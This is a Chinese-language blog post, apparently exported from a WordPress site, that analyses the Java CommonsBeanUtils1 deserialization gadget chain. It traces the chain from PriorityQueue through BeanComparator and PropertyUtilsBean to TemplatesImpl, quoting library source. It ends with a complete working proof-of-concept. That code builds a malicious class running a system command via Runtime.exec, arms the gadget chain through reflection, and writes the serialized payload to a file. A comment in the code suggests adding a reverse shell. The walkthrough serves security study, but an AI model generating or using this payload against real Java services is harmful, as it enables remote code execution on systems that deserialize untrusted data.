\u5728CC4\u4e2d\u6211\u4eec\u77e5\u9053PriorityQueue.readObject()->PriorityQueue.heapify()->PriorityQueue.siftDown()->PriorityQueue.siftDownUsingComparator()\u53ef\u4ee5\u8c03\u7528\u67d0\u4e2a\u5bf9\u8c61\u7684compare()\u65b9\u6cd5\uff0c\u4e4b\u524d\u6211\u4eec\u7528\u7684\u662fTransformingComparator\u7c7b\uff0c\u4f46CB\u94fe\u91cc\u662f\u7528\u7684BeanComparator\u7c7b\u3002<\/p>\n
\u6211\u4eec\u770b\u770b\u5b83\u7684compare()\u65b9\u6cd5:<\/p>\n
public int compare( T o1, T o2 ) {\n\n if ( property == null ) {\n \/\/ compare the actual objects\n return internalCompare( o1, o2 );\n }\n\n try {\n Object value1 = PropertyUtils.getProperty( o1, property );\n Object value2 = PropertyUtils.getProperty( o2, property );\n return internalCompare( value1, value2 );\n }\n catch ( IllegalAccessException iae ) {\n throw new RuntimeException( \"IllegalAccessException: \" + iae.toString() );\n }\n catch ( InvocationTargetException ite ) {\n throw new RuntimeException( \"InvocationTargetException: \" + ite.toString() );\n }\n catch ( NoSuchMethodException nsme ) {\n throw new RuntimeException( \"NoSuchMethodException: \" + nsme.toString() );\n }\n }<\/code><\/pre>\n\u53ef\u4ee5\u770b\u5230Object value1 = PropertyUtils.getProperty( o1, property );<\/code>\u4f1a\u5c06\u4f20\u5165\u53c2\u6570\u4f5c\u4e3a\u53c2\u6570\u8c03\u7528PropertyUtils\u7c7b\u7684getProperty()\u65b9\u6cd5<\/p>\nPropertyUtils\uff1a<\/h3>\n
\u76f4\u63a5\u770bgetProperty()\u65b9\u6cd5<\/p>\n
public static Object getProperty(Object bean, String name)\n throws IllegalAccessException, InvocationTargetException,\n NoSuchMethodException {\n\n return (PropertyUtilsBean.getInstance().getProperty(bean, name));\n\n }<\/code><\/pre>\n\u4f1a\u89e6\u53d1PropertyUtilsBean\u7c7b\u7684getProperty()\u65b9\u6cd5<\/p>\n
PropertyUtilsBean\uff1a<\/h3>\ngetProperty()\uff1a<\/h4>\n public Object getProperty(Object bean, String name)\n throws IllegalAccessException, InvocationTargetException,\n NoSuchMethodException {\n\n return (getNestedProperty(bean, name));\n\n }<\/code><\/pre>\ngetNestedProperty():<\/h4>\n public Object getNestedProperty(Object bean, String name)\n throws IllegalAccessException, InvocationTargetException,\n NoSuchMethodException {\n\n if (bean == null) {\n throw new IllegalArgumentException(\"No bean specified\");\n }\n if (name == null) {\n throw new IllegalArgumentException(\"No name specified for bean class '\" +\n bean.getClass() + \"'\");\n }\n\n \/\/ Resolve nested references\n while (resolver.hasNested(name)) {\n String next = resolver.next(name);\n Object nestedBean = null;\n if (bean instanceof Map) {\n nestedBean = getPropertyOfMapBean((Map<?, ?>) bean, next);\n } else if (resolver.isMapped(next)) {\n nestedBean = getMappedProperty(bean, next);\n } else if (resolver.isIndexed(next)) {\n nestedBean = getIndexedProperty(bean, next);\n } else {\n nestedBean = getSimpleProperty(bean, next);\n }\n if (nestedBean == null) {\n throw new NestedNullException\n (\"Null property value for '\" + name +\n \"' on bean class '\" + bean.getClass() + \"'\");\n }\n bean = nestedBean;\n name = resolver.remove(name);\n }\n\n if (bean instanceof Map) {\n bean = getPropertyOfMapBean((Map<?, ?>) bean, name);\n } else if (resolver.isMapped(name)) {\n bean = getMappedProperty(bean, name);\n } else if (resolver.isIndexed(name)) {\n bean = getIndexedProperty(bean, name);\n } else {\n bean = getSimpleProperty(bean, name);\n }\n return bean;\n\n }<\/code><\/pre>\n\u8fd9\u91cc\u5982\u679c\u6211\u4eec\u4f20\u5165\u7684bean\u548cname\u662fTemplatesImpl\u7c7b\u548coutputProperties\u5c31\u4f1a\u8d70\u5230bean = getSimpleProperty(bean, name);<\/code><\/p>\n\u8fd9\u91ccname\u6765\u81eaBeanComparator\u7c7b\u7684property\uff0c\u53ef\u4ee5\u53cd\u5c04\u8bbe\u5b9a<\/p>\n
getSimpleProperty\uff1a<\/h4>\n public Object getSimpleProperty(Object bean, String name)\n throws IllegalAccessException, InvocationTargetException,\n NoSuchMethodException {\n\n if (bean == null) {\n throw new IllegalArgumentException(\"No bean specified\");\n }\n if (name == null) {\n throw new IllegalArgumentException(\"No name specified for bean class '\" +\n bean.getClass() + \"'\");\n }\n\n \/\/ Validate the syntax of the property name\n if (resolver.hasNested(name)) {\n throw new IllegalArgumentException\n (\"Nested property names are not allowed: Property '\" +\n name + \"' on bean class '\" + bean.getClass() + \"'\");\n } else if (resolver.isIndexed(name)) {\n throw new IllegalArgumentException\n (\"Indexed property names are not allowed: Property '\" +\n name + \"' on bean class '\" + bean.getClass() + \"'\");\n } else if (resolver.isMapped(name)) {\n throw new IllegalArgumentException\n (\"Mapped property names are not allowed: Property '\" +\n name + \"' on bean class '\" + bean.getClass() + \"'\");\n }\n\n \/\/ Handle DynaBean instances specially\n if (bean instanceof DynaBean) {\n DynaProperty descriptor =\n ((DynaBean) bean).getDynaClass().getDynaProperty(name);\n if (descriptor == null) {\n throw new NoSuchMethodException(\"Unknown property '\" +\n name + \"' on dynaclass '\" +\n ((DynaBean) bean).getDynaClass() + \"'\" );\n }\n return (((DynaBean) bean).get(name));\n }\n\n \/\/ Retrieve the property getter method for the specified property\n PropertyDescriptor descriptor =\n getPropertyDescriptor(bean, name);\n if (descriptor == null) {\n throw new NoSuchMethodException(\"Unknown property '\" +\n name + \"' on class '\" + bean.getClass() + \"'\" );\n }\n Method readMethod = getReadMethod(bean.getClass(), descriptor);\n if (readMethod == null) {\n throw new NoSuchMethodException(\"Property '\" + name +\n \"' has no getter method in class '\" + bean.getClass() + \"'\");\n }\n\n \/\/ Call the property getter and return the value\n Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);\n return (value);\n\n }<\/code><\/pre>\n\u8fd9\u4e2a\u65b9\u6cd5\u4e2d\u4f1a\u7ecf\u8fc7<\/p>\n
PropertyDescriptor descriptor = getPropertyDescriptor(bean, name);<\/code><\/p>\nMethod readMethod = getReadMethod(bean.getClass(), descriptor);<\/code><\/p>\nObject value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);<\/code><\/p>\ngetPropertyDescriptor:<\/h5>\n public PropertyDescriptor getPropertyDescriptor(Object bean,\n String name)\n throws IllegalAccessException, InvocationTargetException,\n NoSuchMethodException {\n\n if (bean == null) {\n throw new IllegalArgumentException(\"No bean specified\");\n }\n if (name == null) {\n throw new IllegalArgumentException(\"No name specified for bean class '\" +\n bean.getClass() + \"'\");\n }\n\n \/\/ Resolve nested references\n while (resolver.hasNested(name)) {\n String next = resolver.next(name);\n Object nestedBean = getProperty(bean, next);\n if (nestedBean == null) {\n throw new NestedNullException\n (\"Null property value for '\" + next +\n \"' on bean class '\" + bean.getClass() + \"'\");\n }\n bean = nestedBean;\n name = resolver.remove(name);\n }\n\n \/\/ Remove any subscript from the final name value\n name = resolver.getProperty(name);\n\n \/\/ Look up and return this property from our cache\n \/\/ creating and adding it to the cache if not found.\n if (name == null) {\n return (null);\n }\n\n BeanIntrospectionData data = getIntrospectionData(bean.getClass());\n PropertyDescriptor result = data.getDescriptor(name);\n if (result != null) {\n return result;\n }\n\n FastHashMap mappedDescriptors =\n getMappedPropertyDescriptors(bean);\n if (mappedDescriptors == null) {\n mappedDescriptors = new FastHashMap();\n mappedDescriptors.setFast(true);\n mappedDescriptorsCache.put(bean.getClass(), mappedDescriptors);\n }\n result = (PropertyDescriptor) mappedDescriptors.get(name);\n if (result == null) {\n \/\/ not found, try to create it\n try {\n result = new MappedPropertyDescriptor(name, bean.getClass());\n } catch (IntrospectionException ie) {\n \/* Swallow IntrospectionException\n * TODO: Why?\n *\/\n }\n if (result != null) {\n mappedDescriptors.put(name, result);\n }\n }\n\n return result;\n\n }<\/code><\/pre>\n\u8fd9\u91cc\u53c8\u4f1a\u9047\u5230\u4e24\u4e2a\u5206\u652f\uff1a<\/p>\n
BeanIntrospectionData data = getIntrospectionData(bean.getClass());<\/code><\/p>\nPropertyDescriptor result = data.getDescriptor(name);<\/code><\/p>\nBeanIntrospectionData.getIntrospectionData():<\/h6>\n
\u5148\u770b\u770b\u8fd9\u4e2a\u65b9\u6cd5\uff1a<\/p>\n
private BeanIntrospectionData getIntrospectionData(Class<?> beanClass) {\n if (beanClass == null) {\n throw new IllegalArgumentException(\"No bean class specified\");\n }\n\n \/\/ Look up any cached information for this bean class\n BeanIntrospectionData data = descriptorsCache.get(beanClass);\n if (data == null) {\n data = fetchIntrospectionData(beanClass);\n descriptorsCache.put(beanClass, data);\n }\n\n return data;\n }<\/code><\/pre>\n\u8d70\u5230 data = fetchIntrospectionData(beanClass);<\/code><\/p>\nfetchIntrospectionData:<\/h6>\n private BeanIntrospectionData fetchIntrospectionData(Class<?> beanClass) {\n DefaultIntrospectionContext ictx = new DefaultIntrospectionContext(beanClass);\n\n for (BeanIntrospector bi : introspectors) {\n try {\n bi.introspect(ictx);\n } catch (IntrospectionException iex) {\n log.error(\"Exception during introspection\", iex);\n }\n }\n\n return new BeanIntrospectionData(ictx.getPropertyDescriptors());\n }<\/code><\/pre>\n\u89e3\u91ca\u4e00\u4e0b\u5c31\u662f\u67e5\u627e\u4f20\u5165\u53c2\u6570\u7684\u7c7b\u7684\u6240\u6709\u5c5e\u6027\u63cf\u8ff0\u7b26\uff0c\u88c5\u8fdb\u4e00\u4e2a\u96c6\u5408\u5e76\u8fd4\u56de<\/p>\n
getDescriptor\uff1a<\/h6>\n
\u5728\u4e4b\u524d\u8fd4\u56de\u7684\u5c5e\u6027\u63cf\u8ff0\u7b26\u96c6\u5408\u91cc\u5bfb\u627e\u5b57\u6bb5\u5bf9\u5e94\u7684\u5c5e\u6027\u63cf\u8ff0\u7b26\u5e76\u8fd4\u56de\uff0c\u4e5f\u662fgetPropertyDescriptor\u6700\u7ec8\u8fd4\u56de\u7684\u4e1c\u897f\u3002<\/p>\n
Method readMethod = getReadMethod(bean.getClass(), descriptor)\uff1a<\/h5>\n
\u901a\u8fc7\u4f20\u5165\u7684\u7c7b\u548c\u5c5e\u6027\u63cf\u8ff0\u7b26\u83b7\u5f97\u5bf9\u5e94\u65b9\u6cd5\u7684\u53cd\u5c04\u5bf9\u8c61\u5e76\u8fd4\u56de<\/p>\n
Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY):<\/h5>\n private Object invokeMethod(\n Method method,\n Object bean,\n Object[] values)\n throws\n IllegalAccessException,\n InvocationTargetException {\n if(bean == null) {\n throw new IllegalArgumentException(\"No bean specified \" +\n \"- this should have been checked before reaching this method\");\n }\n\n try {\n\n return method.invoke(bean, values);\n\n } catch (NullPointerException cause) {\n \/\/ JDK 1.3 and JDK 1.4 throw NullPointerException if an argument is\n \/\/ null for a primitive value (JDK 1.5+ throw IllegalArgumentException)\n String valueString = \"\";\n if (values != null) {\n for (int i = 0; i < values.length; i++) {\n if (i>0) {\n valueString += \", \" ;\n }\n if (values[i] == null) {\n valueString += \"<null>\";\n } else {\n valueString += (values[i]).getClass().getName();\n }\n }\n }\n String expectedString = \"\";\n Class<?>[] parTypes = method.getParameterTypes();\n if (parTypes != null) {\n for (int i = 0; i < parTypes.length; i++) {\n if (i > 0) {\n expectedString += \", \";\n }\n expectedString += parTypes[i].getName();\n }\n }\n IllegalArgumentException e = new IllegalArgumentException(\n \"Cannot invoke \" + method.getDeclaringClass().getName() + \".\"\n + method.getName() + \" on bean class '\" + bean.getClass() +\n \"' - \" + cause.getMessage()\n \/\/ as per https:\/\/issues.apache.org\/jira\/browse\/BEANUTILS-224\n + \" - had objects of type \"\" + valueString\n + \"\" but expected signature \"\"\n + expectedString + \"\"\"\n );\n if (!BeanUtils.initCause(e, cause)) {\n log.error(\"Method invocation failed\", cause);\n }\n throw e;\n } catch (IllegalArgumentException cause) {\n String valueString = \"\";\n if (values != null) {\n for (int i = 0; i < values.length; i++) {\n if (i>0) {\n valueString += \", \" ;\n }\n if (values[i] == null) {\n valueString += \"<null>\";\n } else {\n valueString += (values[i]).getClass().getName();\n }\n }\n }\n String expectedString = \"\";\n Class<?>[] parTypes = method.getParameterTypes();\n if (parTypes != null) {\n for (int i = 0; i < parTypes.length; i++) {\n if (i > 0) {\n expectedString += \", \";\n }\n expectedString += parTypes[i].getName();\n }\n }\n IllegalArgumentException e = new IllegalArgumentException(\n \"Cannot invoke \" + method.getDeclaringClass().getName() + \".\"\n + method.getName() + \" on bean class '\" + bean.getClass() +\n \"' - \" + cause.getMessage()\n \/\/ as per https:\/\/issues.apache.org\/jira\/browse\/BEANUTILS-224\n + \" - had objects of type \"\" + valueString\n + \"\" but expected signature \"\"\n + expectedString + \"\"\"\n );\n if (!BeanUtils.initCause(e, cause)) {\n log.error(\"Method invocation failed\", cause);\n }\n throw e;\n\n }\n }\n<\/code><\/pre>\n\u53ef\u4ee5\u770b\u5230\u6700\u540e\u8c03\u7528\u4e86return method.invoke(bean, values);<\/code>\uff0c\u4e5f\u5c31\u662f\u4f1a\u89e6\u53d1\u6211\u4eec\u4f20\u5165\u7684TemplatesImpl\u5bf9\u8c61\u7684getOutputProperties\u65b9\u6cd5<\/p>\n public synchronized Properties getOutputProperties() {\n try {\n return newTransformer().getOutputProperties();\n }\n catch (TransformerConfigurationException e) {\n return null;\n }\n }<\/code><\/pre>\n\u89e6\u53d1newTransformer()<\/code>\uff0c\u540e\u9762\u8ddf\u7684\u5c31\u662fCC3\u7684\u7c7b\u52a0\u8f7d\u4e86\u3002\u6240\u4ee5\u6700\u540e\u7684poc\uff1a<\/p>\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport org.apache.commons.beanutils.BeanComparator;\n\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.math.BigInteger;\nimport java.util.PriorityQueue;\n\npublic class CommonsBeanUtils1 {\n static String serialFileName = \"commons-bean-utils1.ser\";\n public static void main(String[] args) throws Exception {\n\/\/ cb1bySerial();\n verify();\n }\n\n public static void verify() throws Exception {\n \/\/ \u672c\u5730\u6a21\u62df\u53cd\u5e8f\u5217\u5316\n FileInputStream fis = new FileInputStream(serialFileName);\n ObjectInputStream ois = new ObjectInputStream(fis);\n Object ignore = (Object) ois.readObject();\n }\n\n public static void cb1bySerial() throws Exception {\n \/\/==========================CC2\u4e2d\u7684\u6784\u9020Templates\u7684\u5185\u5bb9 START==========================\n String executeCode = \"Runtime.getRuntime().exec(\"cmd \/c start\");\";\n ClassPool pool = ClassPool.getDefault();\n CtClass evil = pool.makeClass(\"ysoserial.Evil\");\n \/\/ run command in static initializer\n \/\/ TODO: could also do fun things like injecting a pure-java rev\/bind-shell to bypass naive protections\n evil.makeClassInitializer().insertAfter(executeCode);\n \/\/ sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)\n evil.setName(\"ysoserial.Pwner\" + System.nanoTime());\n CtClass superC = pool.get(AbstractTranslet.class.getName());\n evil.setSuperclass(superC);\n\n final byte[] classBytes = evil.toBytecode();\n byte[][] trueclassbyte = new byte[][]{classBytes};\n\n Class<TemplatesImpl> templatesClass = TemplatesImpl.class;\n TemplatesImpl templates = TemplatesImpl.class.newInstance();\n Field bytecodes = templatesClass.getDeclaredField(\"_bytecodes\");\n bytecodes.setAccessible(true);\n bytecodes.set(templates, trueclassbyte);\n\n Field name = templatesClass.getDeclaredField(\"_name\");\n name.setAccessible(true);\n name.set(templates, \"Pwnr\");\n\n Field tfactory = templatesClass.getDeclaredField(\"_tfactory\");\n tfactory.setAccessible(true);\n tfactory.set(templates, new TransformerFactoryImpl());\n \/\/==========================CB1\u94fe\u89e6\u53d1\u70b9 START==========================\n\n \/\/ mock method name until armed\n final BeanComparator comparator = new BeanComparator(\"lowestSetBit\");\n\n \/\/ create queue with numbers and basic comparator\n final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);\n \/\/ stub data for replacement later\n \/\/ \u8fd9\u91cc\u662f\u8ba9\u5176\u89e6\u53d1BigInteger.lowestSetBit\u5c5e\u6027\u65b9\u6cd5\uff0c\u53ef\u4ee5\u5728set queue\u503c\u7684\u65f6\u5019\u4e0d\u62a5\u9519\u3002\n queue.add(new BigInteger(\"1\"));\n queue.add(new BigInteger(\"1\"));\n\n \/\/ switch method called by comparator\n \/\/ \u7136\u540e\u901a\u8fc7\u53cd\u5c04\u6765\u5bf9\u5e94\u7684\u5c5e\u6027\u503c\uff0c\u8fd9\u6837\u5c31\u80fd\u907f\u514d\u89e6\u53d1\u989d\u5916\u7684\u52a8\u4f5c\n Field property = comparator.getClass().getDeclaredField(\"property\");\n property.setAccessible(true);\n property.set(comparator, \"outputProperties\");\n\n \/\/ switch contents of queue\n \/\/ queue\u4e2d\u7684\u503c\u4e5f\u662f\u4e00\u6837\uff0c\u901a\u8fc7\u53cd\u5c04\u6765set\u503c\u5c31\u4e0d\u4f1a\u89e6\u53d1heapfiy\u7b49\u4e00\u7cfb\u5217\u52a8\u4f5c\n Field queueFiled = queue.getClass().getDeclaredField(\"queue\");\n queueFiled.setAccessible(true);\n final Object[] queueArray = (Object[])queueFiled.get(queue);\n queueArray[0] = templates;\n queueArray[1] = templates;\n\n \/\/====================CB1\u94fe\u89e6\u53d1END===================\n FileOutputStream fos = new FileOutputStream(serialFileName);\n ObjectOutputStream oos = new ObjectOutputStream(fos);\n oos.writeObject(queue);\n oos.flush();\n oos.close();\n fos.close();\n }\n}\n<\/code><\/pre>\nps\uff1a\u8fd9\u91cc\u5173\u4e8e\u5c5e\u6027\u63cf\u8ff0\u7b26\u7b49\u8ddf\u8fdb\u4e86\u4e00\u4e0b\u5b9e\u73b0\u53d1\u73b0\u662f\u4e00\u5927\u5768\u62bd\u8c61\u7684\u4e1c\u897f\uff08\uff0c\u638c\u63e1\u7684\u4e0d\u662f\u5f88\u597d\uff0c\u611f\u89c9\u8bb2\u4e0d\u660e\u767d\u5c31\u4e0d\u8bb2\u89e3\u4e86\uff0c\u611f\u5174\u8da3\u7684\u5e08\u5085\u53ef\u4ee5\u81ea\u5df1\u8ddf\u8fdb\u770b\u770b<\/p>\n","protected":false},"excerpt":{"rendered":"
CB\u94fe \u5728CC4\u4e2d\u6211\u4eec\u77e5\u9053PriorityQueue.readObject()->PriorityQue […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[],"class_list":["post-327","post","type-post","status-publish","format-standard","hentry","category-java"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/327","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=327"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/327\/revisions"}],"predecessor-version":[{"id":328,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/327\/revisions\/328"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=327"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=327"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=327"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}